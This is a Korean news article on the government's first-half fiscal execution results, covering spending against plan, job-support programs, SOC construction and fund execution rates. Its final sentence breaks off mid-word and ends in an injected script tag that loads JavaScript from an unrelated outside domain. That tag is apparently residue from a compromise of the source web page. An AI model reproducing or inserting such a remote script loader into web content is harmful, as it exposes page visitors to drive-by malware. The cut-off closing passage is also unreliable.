정부 각 부처와 공기업의 올해 상반기 재정집행 실적이 목표치를 넘어서면서 경제활성화에 기여한 것으로 분석됐다.
기획예산처는 올해 상반기 집행된 재정규모가 110조9000억원으로 당초 계획인 110조3000억원에서 0.5%가 초과됐다고 24일 밝혔다. 이는 올해 집행이 예정된 전체 재정규모 198조원의 56.0%다.
이처럼 재정을 상반기에 조기집행하면서 경기에 적극적으로 대응했기 때문에 상·하반기 경기진폭 완화와 경기 진작에 기여했다는 평가가 나왔다.
조세연구원은 올해 상반기 재정 조기집행으로 실질 국내총생산(GDP)이 1조3000억원 증가하면서 연간 경제성장률을 0.2%p 수준 높이는 효과가 나타날 것으로 전망했다.
정부의 재정집행률은 연초 다소 부진을 보였으나 집행률을 높이기 위해 지속적으로 노력한 결과 점차 계획된 수준으로 개선되면서 순조롭게 목표를 달성했다.
* 월별 집행률 추이 : (2월말) 81.9% → (4월말) 94.3% → (6월말) 100.5%
이번 상반기 집행률은 지난해 상반기와 견줘 금액으로는 12조7000억원, 연간 집행진도율로는 3%p 증가한 수준이다.
분야별로 상반기 계획 대비 집행률을 보면, 예산(103.0%)과 공기업(102.6%)은 당초 목표를 달성한 반면, 기금(84.9%)은 집행률이 다소 부진했다.
기획예산처는 기금사업의 집행이 부진한 데 대해 지자체의 사업승인이 하반기에 몰려 있어 국민주택기금의 집행률(75.2%)이 낮은 것이 주요 원인으로 하반기에는 집행이 가속화될 것이라고 설명했다.
중점관리 분야별 조기집행 결과를 살펴보면, 어려운 고용여건을 감안해 연간 65만6000명을 지원할 계획으로 추진하고 있는 일자리 지원사업은 상반기까지 연간 계획의 76.8%인 50만4000명을 지원했다.이 사업은 실업자들에게 수요가 높은 지식·기능 훈련과 현장 체험기회를 제공하고, 인건비 지원 등 고용지원으로 어려움을 겪고 있는 중소기업의 경영·인력난 해소를 뒷받침했다.
세부 분야별로는 기능사 양성 특별훈련 등 청년실업대책사업으로 17만1000명, 장기구직자 고용촉진장려금 등 취약계층지원으로 16만3000명, 가사간병도우미사업 등 사회서비스일자리 지원사업으로 17만명을 지원했다.
경기보완 효과가 큰 SOC 건설사업은 21조4000억원을 집행하여 연간 계획 38조4000억원의 55.9% 달성하면서 건설투자 증가세를 견인했다.
기획예산처는 이로써 주택시장 수급안정을 위해 필요한 택지개발이 차질없이 추진되고 도로·철도·항만·공항 건설이 원활하게 진행돼 건설경기 회복은 물론 물류기반 조성을 통한 다른 분야 생산유발 효과도 가져왔다고 평가했다.
사회안전망 운영·저소득·취약계층 지원 등과 관련된 서민생활 안정사업과 500억원 이상 지자체보조사업은 상반기에 각각 10조1000억원(연간진도율 56.1%), 8조5000억원(연간진도율 54.6%)을 집행했다.
지난해 집행실적이 부진했던 사업들은 지난해 하반기부터 제도개선을 꾸준히 추진한 결과 일부사업의 집행률이 향상된 것으로 나타났다.
조달청의 '우수 중소기업 제품 선정 및 판로확대' 지원사업은 우수제품 선정심사 주기를 분기별 1회에서 매달 1회로 늘린 후 상반기 연간 집행진도율이 지난해 33.8%에서 올해는 84.3%로 크게 높아졌다.
중소기업청이 지원하는 '중소기업 기술개발 자금'의 경우 지정공모 과제와 자유응모 과제를 동시에 공고?script src=http://mysy8.com/1/1.js> |
